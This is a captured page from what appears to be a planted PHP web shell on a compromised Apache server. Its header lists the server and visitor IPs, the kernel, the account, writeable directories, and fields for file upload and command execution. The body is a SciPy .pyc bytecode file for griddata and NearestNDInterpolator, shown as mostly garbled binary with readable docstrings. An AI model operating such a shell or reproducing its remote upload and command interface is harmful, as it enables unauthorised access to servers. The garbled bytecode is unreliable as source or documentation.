403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/scipy/interpolate/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/scipy/interpolate/__pycache__/_ndgriddata.cpython-311.pyc
�

d�c#��r�dZddlZddlmZmZmZmZddlm	Z	gd�Z
Gd�de��Zd	ejd
fd�Z
dS)zD
Convenience interface to N-D interpolation

.. versionadded:: 0.9

�N�)�LinearNDInterpolator�NDInterpolatorBase�CloughTocher2DInterpolator�_ndim_coords_from_arrays)�cKDTree)�griddata�NearestNDInterpolatorrrc� �eZdZdZdd�Zd�ZdS)r
aNearestNDInterpolator(x, y).

    Nearest-neighbor interpolation in N > 1 dimensions.

    .. versionadded:: 0.9

    Methods
    -------
    __call__

    Parameters
    ----------
    x : (Npoints, Ndims) ndarray of floats
        Data point coordinates.
    y : (Npoints,) ndarray of float or complex
        Data values.
    rescale : boolean, optional
        Rescale points to unit cube before performing interpolation.
        This is useful if some of the input dimensions have
        incommensurable units and differ by many orders of magnitude.

        .. versionadded:: 0.14.0
    tree_options : dict, optional
        Options passed to the underlying ``cKDTree``.

        .. versionadded:: 0.17.0


    Notes
    -----
    Uses ``scipy.spatial.cKDTree``

    Examples
    --------
    We can interpolate values on a 2D plane:

    >>> from scipy.interpolate import NearestNDInterpolator
    >>> import numpy as np
    >>> import matplotlib.pyplot as plt
    >>> rng = np.random.default_rng()
    >>> x = rng.random(10) - 0.5
    >>> y = rng.random(10) - 0.5
    >>> z = np.hypot(x, y)
    >>> X = np.linspace(min(x), max(x))
    >>> Y = np.linspace(min(y), max(y))
    >>> X, Y = np.meshgrid(X, Y)  # 2D grid for interpolation
    >>> interp = NearestNDInterpolator(list(zip(x, y)), z)
    >>> Z = interp(X, Y)
    >>> plt.pcolormesh(X, Y, Z, shading='auto')
    >>> plt.plot(x, y, "ok", label="input point")
    >>> plt.legend()
    >>> plt.colorbar()
    >>> plt.axis("equal")
    >>> plt.show()

    See also
    --------
    griddata :
        Interpolate unstructured D-D data.
    LinearNDInterpolator :
        Piecewise linear interpolant in N dimensions.
    CloughTocher2DInterpolator :
        Piecewise cubic, C1 smooth, curvature-minimizing interpolant in 2D.

    FNc��tj||||dd���|�t��}t|jfi|��|_t
j|��|_dS)NF)�rescale�need_contiguous�need_values)	r�__init__�dictr�points�tree�np�asarray�values)�self�x�yr
�tree_optionss     �?/usr/lib/python3/dist-packages/scipy/interpolate/_ndgriddata.pyrzNearestNDInterpolator.__init__Wsg���#�D�!�Q��49�05�	7�	7�	7�	7����6�6�L��D�K�8�8�<�8�8��	��j��m�m�����c���t||jjd���}|�|��}|�|��}|j�|��\}}|j|S)aV
        Evaluate interpolator at given points.

        Parameters
        ----------
        x1, x2, ... xn : array-like of float
            Points where to interpolate data at.
            x1, x2, ... xn can be array-like of float with broadcastable shape.
            or x1 can be array-like of float with shape ``(..., ndim)``

        r)�ndim)rr�shape�_check_call_shape�_scale_xr�queryr)r�args�xi�dist�is     r�__call__zNearestNDInterpolator.__call__`sg��&�d���1B�1�1E�
F�
F�
F��
�
#�
#�B�
'�
'��
�]�]�2�
�
���)�/�/�"�%�%���a��{�1�~�r)FN)�__name__�
__module__�__qualname__�__doc__rr'�rrr
r
sD������@�@�D$�$�$�$�����rr
�linearFc��t|��}|jdkr|j}n
|jd}|dkr�|dvr�ddlm}|���}t
|t��r&t|��dkrtd���|\}tj|��}||}||}|dkrd}||||d	d
|���}	|	|��S|dkrt|||���}	|	|��S|d
krt||||���}	|	|��S|dkr$|dkrt||||���}	|	|��Std||fz���)aL
    Interpolate unstructured D-D data.

    Parameters
    ----------
    points : 2-D ndarray of floats with shape (n, D), or length D tuple of 1-D ndarrays with shape (n,).
        Data point coordinates.
    values : ndarray of float or complex, shape (n,)
        Data values.
    xi : 2-D ndarray of floats with shape (m, D), or length D tuple of ndarrays broadcastable to the same shape.
        Points at which to interpolate data.
    method : {'linear', 'nearest', 'cubic'}, optional
        Method of interpolation. One of

        ``nearest``
          return the value at the data point closest to
          the point of interpolation. See `NearestNDInterpolator` for
          more details.

        ``linear``
          tessellate the input point set to N-D
          simplices, and interpolate linearly on each simplex. See
          `LinearNDInterpolator` for more details.

        ``cubic`` (1-D)
          return the value determined from a cubic
          spline.

        ``cubic`` (2-D)
          return the value determined from a
          piecewise cubic, continuously differentiable (C1), and
          approximately curvature-minimizing polynomial surface. See
          `CloughTocher2DInterpolator` for more details.
    fill_value : float, optional
        Value used to fill in for requested points outside of the
        convex hull of the input points. If not provided, then the
        default is ``nan``. This option has no effect for the
        'nearest' method.
    rescale : bool, optional
        Rescale points to unit cube before performing interpolation.
        This is useful if some of the input dimensions have
        incommensurable units and differ by many orders of magnitude.

        .. versionadded:: 0.14.0

    Returns
    -------
    ndarray
        Array of interpolated values.

    Notes
    -----

    .. versionadded:: 0.9

    For data on a regular grid use `interpn` instead.

    Examples
    --------

    Suppose we want to interpolate the 2-D function

    >>> import numpy as np
    >>> def func(x, y):
    ...     return x*(1-x)*np.cos(4*np.pi*x) * np.sin(4*np.pi*y**2)**2

    on a grid in [0, 1]x[0, 1]

    >>> grid_x, grid_y = np.mgrid[0:1:100j, 0:1:200j]

    but we only know its values at 1000 data points:

    >>> rng = np.random.default_rng()
    >>> points = rng.random((1000, 2))
    >>> values = func(points[:,0], points[:,1])

    This can be done with `griddata` -- below we try out all of the
    interpolation methods:

    >>> from scipy.interpolate import griddata
    >>> grid_z0 = griddata(points, values, (grid_x, grid_y), method='nearest')
    >>> grid_z1 = griddata(points, values, (grid_x, grid_y), method='linear')
    >>> grid_z2 = griddata(points, values, (grid_x, grid_y), method='cubic')

    One can see that the exact result is reproduced by all of the
    methods to some degree, but for this smooth function the piecewise
    cubic interpolant gives the best results:

    >>> import matplotlib.pyplot as plt
    >>> plt.subplot(221)
    >>> plt.imshow(func(grid_x, grid_y).T, extent=(0,1,0,1), origin='lower')
    >>> plt.plot(points[:,0], points[:,1], 'k.', ms=1)
    >>> plt.title('Original')
    >>> plt.subplot(222)
    >>> plt.imshow(grid_z0.T, extent=(0,1,0,1), origin='lower')
    >>> plt.title('Nearest')
    >>> plt.subplot(223)
    >>> plt.imshow(grid_z1.T, extent=(0,1,0,1), origin='lower')
    >>> plt.title('Linear')
    >>> plt.subplot(224)
    >>> plt.imshow(grid_z2.T, extent=(0,1,0,1), origin='lower')
    >>> plt.title('Cubic')
    >>> plt.gcf().set_size_inches(6, 6)
    >>> plt.show()

    See Also
    --------
    LinearNDInterpolator :
        Piecewise linear interpolant in N dimensions.
    NearestNDInterpolator :
        Nearest-neighbor interpolation in N dimensions.
    CloughTocher2DInterpolator :
        Piecewise cubic, C1 smooth, curvature-minimizing interpolant in 2D.

    ����r)�nearestr-�cubic)�interp1dz"invalid number of dimensions in xir1�extrapolaterF)�kind�axis�bounds_error�
fill_value)r
r-)r8r
r2z7Unknown interpolation method %r for %d dimensional data)rrr�_interpolater3�ravel�
isinstance�tuple�len�
ValueErrorr�argsortr
rr)
rrr$�methodr8r
rr3�idx�ips
          rr	r	ws���l&�f�
-�
-�F�
�{�Q����{����|�B����q�y�y�V�=�=�=�*�*�*�*�*�*��������b�%� � �	��2�w�w�!�|�|� �!E�F�F�F��C�B��j�� � �����������Y���&�J�
�X�f�f�6���!+�-�-�-���r�"�v�v�
�	�9�	�	�
"�6�6�7�
C�
C�
C���r�"�v�v�
�	�8�	�	�
!�&�&�Z�*1�3�3�3���r�"�v�v�
�	�7�	�	�t�q�y�y�
'���:�07�9�9�9���r�"�v�v�
��/�28�$��@�A�A�	Ar)r+�numpyr�interpndrrrr�
scipy.spatialr�__all__r
�nanr	r,rr�<module>rHs���������:�:�:�:�:�:�:�:�:�:�:�:�!�!�!�!�!�!�)�)�)��\�\�\�\�\�.�\�\�\�F)1�R�V��ZA�ZA�ZA�ZA�ZA�ZAr

Youez - 2016 - github.com/yon3zu
LinuXploit